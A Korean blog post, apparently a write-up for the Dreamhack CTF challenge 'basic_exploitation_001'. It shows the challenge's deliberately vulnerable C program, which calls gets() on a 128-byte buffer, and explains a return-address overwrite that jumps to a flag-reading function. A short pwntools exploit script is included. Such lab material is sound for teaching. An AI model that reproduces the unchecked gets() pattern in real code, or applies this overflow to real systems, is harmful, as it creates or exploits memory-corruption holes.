[Dreamhack] basic_exploitation_001

2022. 2. 17. 16:36Dreamhack/System Hacking

1. 문제 정보

2. 문제 파일

더보기

문제에서 제공되는 소스 코드이다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    gets(buf);

    return 0;
}

 

 

 

 

3. 문제 풀이

더보기
void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    gets(buf);

    return 0;
}

read_flag라는 flag를 읽을 수 있는 함수가 있습니다. 그리고 gets 명령어를 통해 buf에 문자열을 입력할 수 있습니다.

따로 길이에 대한 검증이 없기 때문에 버퍼 오버 플로우 공격을 통해 Return Address의 주소를 read_flag의 주소로 변조해 FLAG를 읽을 수 있습니다.

 

buf 배열이 ebp - 0x80에 할당됩니다. 128byte + SFP 4byte = 132byte에 임의의 값을 집어넣고 read_flag의 주소를 넣으면 됩니다.

read_flag 주소

 

pwntools를 이용해 공격을 수행하였습니다. 코드는 아래와 같습니다.

from pwn import *

r = remote('host1.dreamhack.games', port)
payload = b"A" * 132 + p32(0x080485b9)

r.sendline(payload)
r.interactive()

 

결과는 아래와 같습니다.

 

'Dreamhack > System Hacking' 카테고리의 다른 글

[Dreamhack] Return to Library  (0) 2022.02.18
[Dreamhack] ssp_000  (0) 2022.02.17
[Dreamhack] Return to Shellcode  (0) 2022.02.17
[Dreamhack] basic_exploitation_000  (0) 2022.02.17
[Dreamhack] Return Address Overwrite  (0) 2022.02.16